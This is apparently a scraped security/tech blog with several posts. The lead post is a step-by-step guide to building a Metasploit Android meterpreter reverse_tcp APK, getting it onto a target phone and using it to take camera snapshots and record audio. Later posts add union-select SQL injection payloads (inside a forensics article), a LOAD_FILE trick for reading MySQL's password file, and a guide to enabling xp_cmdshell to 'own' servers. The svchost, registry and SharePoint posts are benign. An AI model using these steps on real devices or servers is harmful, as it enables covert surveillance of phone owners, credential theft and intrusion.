AnDroid Hacking with Metaploit

With tool set currently available, hacking is become very easy. One of the example that we are going to demonstrate is Android hacking. Getting access to handheld devices is becoming more interesting due to kind of applications which are available and what these devices can do. The prime reason being they hold lot of sensitive information about the target or individual like, social data, organization data, card information, personal data, etc.


  • Kali Linux with metasploit (though it comes with Kali by default :))
  • Android phone (rooted/non-rooted any will do)
  • Both above should be connected on same wireless network


  1. Make sure that android phone is connected to a wireless network and note add its IP Address.
  2. Start Kali Linux  and make sure it is also connected to the same wireless network as of the Android device.


To start with, let’s open a terminal and type following command to note down your IP address.




Now using following command we will create our hackable android app. Change the ip after LHOST with noted ip and you can change the name of your choice for the app.

msfpayload android/meterpreter/reverse_tcp LHOST= ip LPORT=port R > hack.apk


creating hackable app

Now let’s switch on our gas by typing emsfconsole & lit it (enter) and then we will put our pan to stove by typing

use exploit/multi/handler

Let’s pour some oil for frying by typing and hit enter to set the payload for the handler.

set payload android/meterpreter/reverse_tcp


setting up payload

To make sure it is hot enough to fry, set the listener ip and port number by set lhost ip and set lport port command (ip and port should be identical as that of the previous msfpayload command). To see if the oil is hot and ready to fry set type show options and hit enter.


show options for payload

By typing exploit we wait for our droid to fall in our pan

Installing app on mobile

Installing app on mobile

Once the droid is in our pan, we can see it information by typing ifconfig or sysinfo. Further we can try different commands to take snapshots, webcam snaps, voice recording, etc.


exploiting droid

Icing on the Cake

By just putting one drop of ? you can get all possible commands available, will see few and interesting ones.


Available commands


Available commands

Sample image taken using this hack

Sample Image Capture

Sample Image Capture

Here are few list of command and their options to start with, to go further give your creativity some room 🙂

webcam_list :
This stdapi command provide you a list of all webcams on the target system. Each webcam will have an index number.

webcam_snap :
This stdapi command take a snapshot for the specified webcam, by default number 1 and will try without argument precision to open the saved snapshot.

webcam_snap could have arguments :

-h : to display the help banner.
-i : The index number of the webcam to use.
-p : The JPEG image file path. By default $HOME/[randomname].jpeg
-q : The JPEG image quality, by default ’50’.
-v : Automatically view the JPEG image, by default ‘true’.

This stdapi command record audio, by default 1 second, from the default microphone and will try without argument precision to play the captured audio wav file.

record_mic could have arguments :

-h : to display the help banner.
-d : Number of seconds to record, by default 1 second (useless).
-f : The wav file path. By default $HOME/[randomname].wav
-p : Automatically play the captured audio, by default ‘true’.

(bg)run webcam
Same as the stdapi webcam_snap command, but with loop delay interval to refresh the displayed jpeg snap. A refreshed HTML file, “webcam.htm”, will provide you each x milliseconds a new snapshot. You can invoke the webcam script with run or bgrun meterpreter command.

The possible arguments to begin a recording are :

-h : to display the help banner.
-d : Loop delay interval in milliseconds, by default 1000.
-f : Just grab a single frame.
-g : Send to the GUI instead of writing file.
-i : The index of the webcam to use, by default 1.
-l : Keep capturing in a loop, by default (useless).
-p : The path to the folder images will be saved in, by default current working directory.
-q : The JPEG quality, by default ’50’.

Posted in Android, Hacking Tagged with: , , , , ,

Why so many svchost.exe running

The last time I was checking the Task Manager in windows I was surprised to see the number of svchost.exe processes running. So, did some Google and here I came up with this. This blog try to explain the background of svchost.exe and why there are so many of them on our computer process list.


First of all let me tell you that you don’t start or stop these processes nor you can kill them! As we use dictionary for English word definition, so as per Microsoft definition “svchost.exe” is a generic host process name for services which start from DLL (Dynamic Linked Libraries). Difficult to digest? Let try simple English.

Due to increase the re-usability of DLL MS (MicroSoft) started shifting all the functionality from .exe to .dll. This makes complete sense in terms of modularizing and re-usability of code. But the problem is that DLLs cannot be launched directly from Windows, you have to use .exe as container to load DLLs. That’s how svchost.exe started 🙂

You might have had look at Services section in Control Panel. Windows needs lots of services to operate properly. If they would have been running under single svchost.exe for instance, failure to this may bring down all services running and Windows as well. That is the reason they are running in separated svchost.exe

What to do bout it???

We cannot stop all the services :P, but we can bring down certain services which are not needed. Just in case if you see one svchost.exe consuming more CPU or Memory then you should restart that instance. The crux of the problem is to identify which all services are running under single “svchost.exe”. For matter of fact, that is pretty simple 🙂 Just start the task manager by right clicking on Windows Taskbar or pressing Cntl + Shift + Esc key together. In “Processes” tab click on “Show processes from all users”.


Windows 8 Taskbar

For command line users, you just have to use following command to view all the services hosted under one svchost.exe. The only issue with this command line output is to understand the meaning of these cryptic names.

tasklist /SVC
Command Prompt Output for Services List

Command Prompt Output for Services List

Let’s get back to our user friendly GUI Task Manager 🙂 To dig further, just right click on any of the “svchost.exe” process and select “Go to Service(s)” menu item.

Services List in Windows 8

Services List in Windows 8

This will switch the tab from “Processes” to “Services” with related services are highlighted.

Service Level Operation for User

Service Level Operation for User

This will help you get the meaning full name from Description column, which can be used to identify the services which can be stopped / disabled. Once decided which services to stop / disable, you can go to Services section in Control Panel do the same.

Hope this helps 🙂;en-us;Q314056

Posted in Operating System, Windows 7

Good Reads For Information Security Domain

For February 2016

OpenSSL Releases Security Advisory for Several Vulnerabilities

Drupal Releases Critical Security Advisory for Multiple Vulnerabilities

Google Project Zero: The Definitive Guide on Win32 to NT Path Conversion

Angler Attempts to Slip The Hook

Nissan Leaf hackable through insecure APIs

OpenSSL CVE-2016-0799: heap corruption via BIO_printf

Judge Says Apple Doesn’t Have to Unlock iPhone in Case Similar to San Bernardino

Getting Domain Admin with Kerberos Unconstrained Delegation

For August 2014

Microsoft Patch Tuesday for August 2014

Adobe Patch Tuesday for August 2014

Security flaw allows to bypass PayPal two-factor authentication

WordPress and Drupal Denial Of Service Vulnerability

BlackHat 2014: Mobile Point of Sale Devices at Risk from Hackers

Blackphone: Inside a Secure Smart Phone

FinFisher Government Spy Software Secrets Revealed by Hackers

Attackers Used Multiple Zero-Days to Hit Spy Agencies in Cyber-Espionage Campaign

Synology devices hit with “Synolocker” ransomware

Automakers Openly Challenged To Bake In Security

Mozilla posts plan for certificate revocation checking

Some “Experts” Say Planes Cannot be Digitally Hijacked

US Federal Communications Commission Quizzes Wireless Providers About Speed Throttling Decisions

NIST Aims to Improve Industrial Control System Security with Testbed

Federal Judge Says Law Enforcement Can Access Entire eMail Account in Investigation

Verifying Preferred SSL/TLS Ciphers with nmap

Nest Thermostat Hack

Cryptowall Spreading via Yahoo! Ads

Xiaomi Phones Call Home With User Data

Exploiting Web Applications Using XSRF

Incident Response with Triage-IR

Blackphone Hacked

Oracle Data Redaction Easily Bypassed

For July 2014

MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

Firefox 31 and Firefox ESR 24

Attackers abusing Internet Explorer to enumerate software and detect security products

Hacker worms his way into WSJ computer systems

Mayhem – a hidden threat for *nix web servers

New Back Door Trojan Program is No Fool

Far East Targeted by Drive by Download Attack

METRO.US Website Compromised to Serve Malicious Code

Black Hat Preview – Android crypto blunder exposes users to highly privileged malware

[Honeypot Alert] WordPress XML-RPC Brute Force Scanning

Changes in the Asprox Botnet

Neverquest Banking Trojan Updated to Include More Than 30 Financial Institutions in Japan

Snifula Banking Trojan Back to Target Japanese Regional Financial Institutions

Don’t Overestimate EMV Protections, Underestimate Card Thief Sophistication

How Thieves Can Hack and Disable Your Home Alarm System

Researchers Develop ‘BlackForest’ To Collect, Correlate Threat Intelligence

For March 2014

Microsoft issues Fix it for critical IE 0-day exploited in attacks

New Adobe Flash Player Zero-day Exploit Leads to PlugX

Major Apple security flaw: Patch issued, users open to MITM attacks

Android WebView Exploit, 70% Devices Vulnerable

Banking trojan hit a large number of Islamic Mobile Banking Customers

Cisco Announces OpenAppID – the Next Open Source ‘Game Changer’ in Cybersecurity

GnuTLS: Incorrect error handling in certificate verification

Hackers take control of 300,000 home routers

Hello, a new specifically covered exploit kit

Microsoft is using popups to warn XP users of impending end-of-support

VPN flaw makes Android Jelly Bean and KitKat susceptible to hijacking

Medical Device Security: The Hurdles – Analysis of the Pain Points and the Progress

Snort Alpha with OpenAppID, a quick introduction to getting started

For Feb 2014

Scanning for Symantec Endpoint Manager

Mysterious ‘Moon’ worm spreads into many Linksys routers ­ and hunts new victims

MSIE 0-day Exploit CVE-2014-0322 – Possibly Targeting French Aerospace Association

Fake SSL Certificates Uncovered: The Tip of the Iceberg and Weaponized Trust

HTTP NTLM Information Disclosure

Introducing ClamAV community signatures

Microsoft Update Tuesday: February 2014, huge fix for Internet Explorer

Careto: Covering unavailable samples

Corkow – the lesser-known Bitcoin-curious cousin of the Russian banking Trojan family

Microsoft to discontinue use of MD5 hashed digital certificates

How old data can come back to haunt you

Microsoft introduces multifactor authentication for all Office 365 users


Keep reading…

Posted in ASP.NET, Azure, Database, iPhone Apps, JQUERY, JSON, LINQ, Operating System, Programming Language, Secure .NET Coding, Security, Sharepoint, Sharepoint Security, Silverlight, SQL Server, Visual Studio, WCF (Windows Communication Framework), Windows 7, WPF (Windows Presentation Framework), XML Tagged with: , ,

Logging In MySQL


This article demonstrates logging techniques in MySQL to uncover and analyze any mischief attempts done by (outside or inside) user focusing on specific areas in database.

Getting Started:

Following are the types of logs available in MySQL[1].

Log Type Information Written to Log
Error log Problems encountered starting, running, or stopping mysqld
General query log Established client connections and statements received from clients
Binary log Statements that change data (also used for replication)
Relay log Data changes received from a replication master server
Slow query log Queries that took more than long_query_time seconds to execute

By Default, logging is not enabled in MySQL. To enable that use command “show processlist”.

mysql>show processlist;

Note: This shows all running queries. Info column in result shows the query which is executed.

Processlist Output

Processlist Output

Now this is only showing data for current session. If you want to see all the queries being executed on the server then you should log them first.

We have seen different types of logging in MySQL, so which one to use? We will use General Log, which will give us all the queries executed at the server.

How to go about it?

  • Check logging is enabled or not
  • What type of logging is enabled (FILE, TABLE, BOTH)?
  • If not enabled, how to enable it?
  • What to check?

Checking if logging is enabled or not

Simply log into the MySQL prompt and issue following command

mysql> show variables;

This will list all the global variables in MySQL. Look for general_log variable and its value; Ideally if logging is not enabled then its value would be “OFF” and general_log_file variable would be:

For *NIX: “/var/lib/mysql/mysql.log”

For Windows (XAMPP setup): “C:xamppmysqldata<system_name>.log”

What type of logging is enabled (FILE, TABLE, BOTH)?

  • You can determine whether logging is of what type by looking output of following variable.
    log_output = ‘FILE|TABLE|BOTH’
  • You can change the value of this using following command
    mysql> SET GLOBAL log_output = ‘FILE’;
All available variables in MySQL

All available variables in MySQL

If logging not enabled, how to enable it?

As logging is not enabled, let’s enable that first. To do that, issue the following command.

mysql>SET GLOBAL general_log = ‘ON’;
mysql>SET GLOBAL general_log_file = ‘path_on_your_system’;

Similarly you can set the logging for slow query log.

mysql>SET GLOBAL slow_query_log = ‘ON’;
mysql>SET GLOBAL slow_query_log_file = ‘path_on_your_system’;

Slow query logs are basically those which took longer time to execute then specified value in “long_query_time”

What to check?

So, we have all the required logs. What Next?

Let’s Analyze.

What could be wrong?

  • It could be attack from web, most common being SQL Injection
  • What about somebody from inside? Privilege escalation or data stealing?

In both the cases, who did it? Let’s find out….

Case 1:

Suppose, somebody got a weak link in the application, and got into the system by some SQL Injection. I don’t have to explain what is SQL Injection is, well I may can tell you what someone can do with SQL Injection. For the attacker, there can be only one entry point, but in backend there are many things, like web server, database server, etc.

Let’s look at web server log (in our case its apache logs). During normal operations, things would look pretty simple and straight forward. At the glance it looks neat and clean.

Apache access log using Xpolog

Apache access log using Xpolog

Let’s search for something, like “select”, if anyone is trying to run a SQL query

Filtering log on "select" command

Filtering log on "select" command

Similarly we can search for “union” or any other such SQL command to see if there is any suspicious activity is going on.

Filtering log on "union" command

Filtering log on "union" command

It is Interesting to see that we have some requests which have SQL queries in the request parameters. This indicates that there is something suspicious about these requests as timestamp is same for few queries. It simply means attacker has run an automated scanner to exploit the vulnerability.

Suspicious log snippet: - - [14/Sep/2012:15:45:10 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+%28select+concat%280x7e%2C0x27%2C0x7233646D3076335F68766A5F696E6A656374696F6E%2C0x27%2C0x7e%29+limit+0%2C1%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 54 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)” - - [14/Sep/2012:15:45:10 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 42 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)” - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28user%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 47 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)” - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28version%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 39 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)” - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 42 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)” - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28system_user%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 47 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)” - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28%40%40hostname+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 42 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)” - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28%40%40basedir+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 47 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”

Once you are sure that there is an incident of SQL Injection by an unknown IP then you can proceed with the formal procedure of investigating this issue with cyber cell.

Case 2:

Now let’s consider the second case, where MySQL user who has access to database has done some mischiefs. Popular activities possible are:

  • Running privileges escalation attacks
  • Getting root password (will see how)
  • Dumping database(s) into files

Note: There are few privilege escalation attacks available in Metasploit also.

For getting the root password is fairly simple. A low privilege user just has to execute following command on the prompt.

mysql> SELECT LOAD_FILE(‘C:xamppmysqldatamysqluser.MYD’);

Note: The path will change as per the setup.

If you are not getting any result then you should have physical access to this file, ssh, RDP, etc. Basically we just need data of this file.

This is a binary file containing the MySQL user information with username and password. So if you are root user then you can simply run following query to see all users.

mysql> select Host, User, Password from mysql.user;
Users table in MySQL

Users table in MySQL

When low privilege user (fdb in our case) tries to run this query, obviously he will get access denied error. At this instance our previous query will be handy, reading binary file. So, what is the problem now? Simple, the password is stored in MD5 hashJ. Cracking this would not take much time.

Note: Tools like md5crack, John the Ripper, Cain & Adel do a fine job of cracking MD5 hashes.

Considering the last part, where user is dumping the database into file for some notorious purpose, we can check the same in our general_log or slow_query_log for such queries. In this case we are opening this log file in and we will do some manual analysis first.

Here is snippet of the query log:

325 Connect   root@localhost on
325 Init DB   forensics
325 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 3,1),0x31303235343830303536 and 'x'='x'
325 Quit
326 Connect   root@localhost on
326 Init DB   forensics
326 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 4,1),0x31303235343830303536 and 'x'='x'
326 Quit
327 Connect   root@localhost on
327 Init DB   forensics
327 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 5,1),0x31303235343830303536 and 'x'='x'
327 Quit
328 Connect   root@localhost on
328 Init DB   forensics
328 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 6,1),0x31303235343830303536 and 'x'='x'
328 Quit
329 Connect   root@localhost on
329 Init DB   forensics
329 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 7,1),0x31303235343830303536 and 'x'='x'
329 Quit
330 Connect   root@localhost on
330 Init DB   forensics
330 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 8,1),0x31303235343830303536 and 'x'='x'
330 Quit

What we basically search is statements like “union select”, query to “information_schema” database, query to “mysql” database, etc. Then analyze it further to conclude on a result.


Only logging will not do the job, it is also important to do analysis after that. Frequently, database administrator(s) only enable logging features, and leave just like that. But the actual analysis behind it is much more important. One thing that I shouldn’t be mentioning is that, using this technique you can extract all the queries used by an automated scanner like, Havij, SQLMap, etc. I personally do not recommend that, but once you know the queries these tools run you will better understand SQL Injection.


Posted in Programming Language

Android APP Lock By-Pass

I have been using the Innovation of Year device known Samsung Galaxy Note GT-N7000, and in order to prevent my Image gallery from my notorious friend, who has bad habit to dig into my personal pictures. I installed the App Locker from Google Play.

App Lock installed on Device

App Lock installed on Device

The application gives you the facility to lock all or selected application on your device with password or pattern. So I locked the Gallery using same.

Gallery is Locked by App Lock

Gallery is Locked by App Lock

Then whenever I click on Gallery the prompt of App Locker arises asking for password. Then you enter the password and you’re in the Gallery.

But on my same notorious friend B’day I was clicking the pictures, after taking several pictures I clicked the small square on the left bottom corner in the camera app which takes me to the gallery and I was able to view them, without App Locker asking for password.

And Voila…I by-passed the App Locker in this scenario.

I have tested this By-pass against following App Locker applications in Google Play and it works for all.

1] App Lock – App Protector By Creative Core
2] Smart App Protector By Sputnik
3] Fast App lock By George Android
4] APP Lock By DoMobile Lab

Note: Using the above by-pass the un-wanted recipient can only view the images in Gallery default folder and not of other folders created inside the Gallery.

Posted in Programming Language

0wn!ng using xp_cmdshell


Well we all know “xp_cmdshell” and its history. It is a windows shell that gets spawns and uses string argument for command execution. The point is what the big deal?


The moment you get the access of the MS SQL Server while doing any penetration testing or vulnerability assessment, the next thing that will run in your mind is to enable xp_cmdshell.


Simple reason is that it gives you a windows shell from which you can execute windows commands. Now there is no limit to some one’s creativity for exploiting such juicy finding. I would like to own the server by adding a domain admin user and owning the entire domain 🙂 Others probably would like to get in the network and make backdoor for later use, everybody has their own choices.


Before we even use this shell we have to enable it first 🙂 In order to enable this you can use following commands

-- To allow advanced options to be changed.

EXEC sp_configure 'show advanced options', 1


-- To update the currently configured value for advanced options.



-- To enable the feature.

EXEC sp_configure 'xp_cmdshell', 1


-- To update the currently configured value for this feature.



Now that we have enabled it, let’s see how to use it. You can use following commands to use sql shell.


xp_cmdshell { 'cmd_str' } [ , no_o/p ]

cmd_str: command to be passed

no_o/p: whether client wants any output or not, it is optional parameter.


USE master;

xp_cmdshell ‘dir’


Volume in drive C has no label.
Volume Serial Number is E27A-3074

Directory of C:

02/02/2012  09:29 AM    <DIR>          common
06/11/2009  03:12 AM                10 config.sys
05/31/2011  04:12 PM    <DIR>          dell
09/27/2011  01:34 PM    <DIR>          inetpub
11/25/2011  02:31 PM            15,478 init.rc
05/31/2011  04:45 PM    <DIR>          Intel
10/20/2011  02:51 PM    <DIR>          OpenSSL-Win32
07/14/2009  08:07 AM    <DIR>          PerfLogs
09/24/2011  03:21 PM    <DIR>          Perl
03/26/2012  04:49 PM    <DIR>          Program Files
03/05/2012  11:40 AM    <DIR>          Python27
11/16/2011  09:46 AM    <DIR>          Temp
09/28/2011  12:01 PM    <DIR>          Users
03/26/2012  05:05 PM    <DIR>          Windows
09/23/2011  02:19 PM    <DIR>          xampp
12 File(s)        732,235 bytes
14 Dir(s)  62,720,782,336 bytes free

Now you can run any commands of your choice


I will not stop only at how enable and use the xp_cmdshell, I will also show how to disable it. You can use following options to disable it.

-- To allow advanced options to be changed.

EXEC sp_configure 'show advanced options', 1


-- To update the currently configured value for advanced options.



-- To disable the feature.

EXEC sp_configure 'xp_cmdshell', 0


-- To update the currently configured value for this feature.




Use best practices

xp_cmdshell { 'command_string' } [ , no_output ]
Posted in Database, Secure .NET Coding, Security, SQL Server Tagged with: ,

Change Registered User in Windows


It is been question in my mind for long time that when ever we install an application mostly we see the dialog box filled with name. Always wondered from where it came from. Finally came to know that this is nothing but a registered user/owner name of windows.

Though it is not very useful, but it is good to know option rather than changing the name every time when we install an application.


In order to change this name we have to browse following registry key in the registry editor

Go to Run -> type “regedit” and then locate mentioned registry key


Now you can see “RegisteredUser” and “RegisteredOrganization” keys in the right side. You can change their values as per your choice by just double clicking the key.

Registry Editor

Registry Editor

Now that we have changed the data we need to confirm that changes were successful. To do so again open Run prompt and type “winver.exe” and hit enter and you will see the changes at the bottom of the window.

Windows Version

Windows Version

Hope this helps.

Posted in Operating System, Security, Windows 7 Tagged with:

Run Code by impersonating user privilege


In my previous post I have explained that how to perform operations on local system using ASP.NET. After using it and putting the same code in testing environment I realize that I throws access denied error when normal user tries to change its password.


The main problem was that the change password functionality of windows is available to logged in users only or to administrator. And when normal user tried changing their password they encounter following error.

“Access Denied”


In order to solve this issue .NET framework has provided an solution of impersonating user privilege. Though being Security Developer I will not recommend this 🙂 To impersonate user privilege we have to provide the domain name, username and password of that user. Following code will explain the usage of the same.

public partial class ChangePassword : Page
	public const int LOGON32_LOGON_INTERACTIVE = 2;
	public const int LOGON32_PROVIDER_DEFAULT = 0;

	WindowsImpersonationContext impersonationContext;

	public static extern int LogonUserA(String lpszUserName,
		String lpszDomain,
		String lpszPassword,
		int dwLogonType,
		int dwLogonProvider,
		ref IntPtr phToken);

	[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern int DuplicateToken(IntPtr hToken,
		int impersonationLevel,
		ref IntPtr hNewToken);

	[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	public static extern bool RevertToSelf();

	[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
	public static extern bool CloseHandle(IntPtr handle);

	protected void Page_Load(object sender, EventArgs e)
		if (!IsPostBack)
			if (impersonateValidUser("user", "domain/systemname", "password"))
				// your code goes here
				// fail safe code goes here

	private bool impersonateValidUser(String userName, String domain, String password)
		WindowsIdentity tempWindowsIdentity;
		IntPtr token = IntPtr.Zero;
		IntPtr tokenDuplicate = IntPtr.Zero;

		if (RevertToSelf())
			if (LogonUserA(userName, domain, password, LOGON32_LOGON_INTERACTIVE,
				LOGON32_PROVIDER_DEFAULT, ref token) != 0)
				if (DuplicateToken(token, 2, ref tokenDuplicate) != 0)
					tempWindowsIdentity = new WindowsIdentity(tokenDuplicate);
					impersonationContext = tempWindowsIdentity.Impersonate();
					if (impersonationContext != null)
						return true;
		if (token != IntPtr.Zero)
		if (tokenDuplicate != IntPtr.Zero)
		return false;

	private void undoImpersonation()


How to implement impersonation in an ASP.NET application

Posted in ASP.NET, Programming Language, Secure .NET Coding, Security, Sharepoint Security Tagged with: ,

Using Directory Services for LOCAL SYSTEM


I have been given a task to work with windows users through web, task like change password, etc. I tried searching for articles for the same to finish this asap. But it took more time as all articles were referring to active directory and LDAP queries and I want to make changes to local system.


When I have started reading article about changing the windows password or any other such operation through ASP.NET, I got all the answers with LDAP query which is very much true for domain environment. But I don’t have one, I have normal local system on which I have to change the password, etc through C# web page.


Finally I have found some none other then Microsoft links (mentioned in Reference sec.) to tackle this issue. The code was pretty simple, just had to modify the query provided to Directory Services constructor. It was “WinNT://” instead of “LDAP://”.

private bool ResetPassword(string computerName, string username, string newPassword)
	bool isSuccess = false;
		DirectoryEntry directoryEntry = new DirectoryEntry(string.Format("WinNT://{0}/{1}", computerName, username));
		directoryEntry.Invoke("ChangePassword", new object[] { oldpassword.Text.ToString(), newpassword.Text.ToString() });
		isSuccess = true;
	catch (Exception ex) { output.Text = ex.Message.ToString(); }
	return isSuccess;


Using directory services and Visual C#

Creating DirectoryEntry Component Instances

LDAP Query Basics

Other way to reset user password

Posted in ASP.NET, Operating System, Programming Language, Windows 7

Runtime Error SharePoint 2010


The other day I was coding on my SharePoint 2010 project and after completion I have deployed to test the same. Guess what I stuck with this error

“Runtime Error

Now what, debug, troubleshoot, etc. Tried everything but no luck.


I was using Server Side Model for my code, where I just have to access the site, use web object and enumerate records from specific list. So what was wrong? How do I come to know that there was an issue or which part of code was cause an problem. When I started debugging it didn’t showed any error or exception!!! All I got is this error page.

Runtime Error

Runtime Error


Now the point is how would you come to know what is the issue. Finally it strikes me that lets give it try for our favorite “Event Viewer”. We have to focus on Application logs which are reported against SharePoint Server/Foundation. Following is the default window that comes when we type “eventvwr” in Run prompt.

Event Viewer

Event Viewer

Which is also showing that there are few new events had occur at top center bar of events list. It means that this is the event viewer details page before we land up with the Runtime Error page. Once we browse that page we will see that we have few new events recorded in windows logs. And that’s it! It will show you the error that has cause this error.

Error Details In Event Viewer

Error Details In Event Viewer


The problem can come from any where, in my case the error was showing that I was trying to use an SPWeb object that has been closed or disposed and is no longer valid. The point here is that we should not only focus on traditional method of troubleshooting, but rather something logical as well.

Posted in Programming Language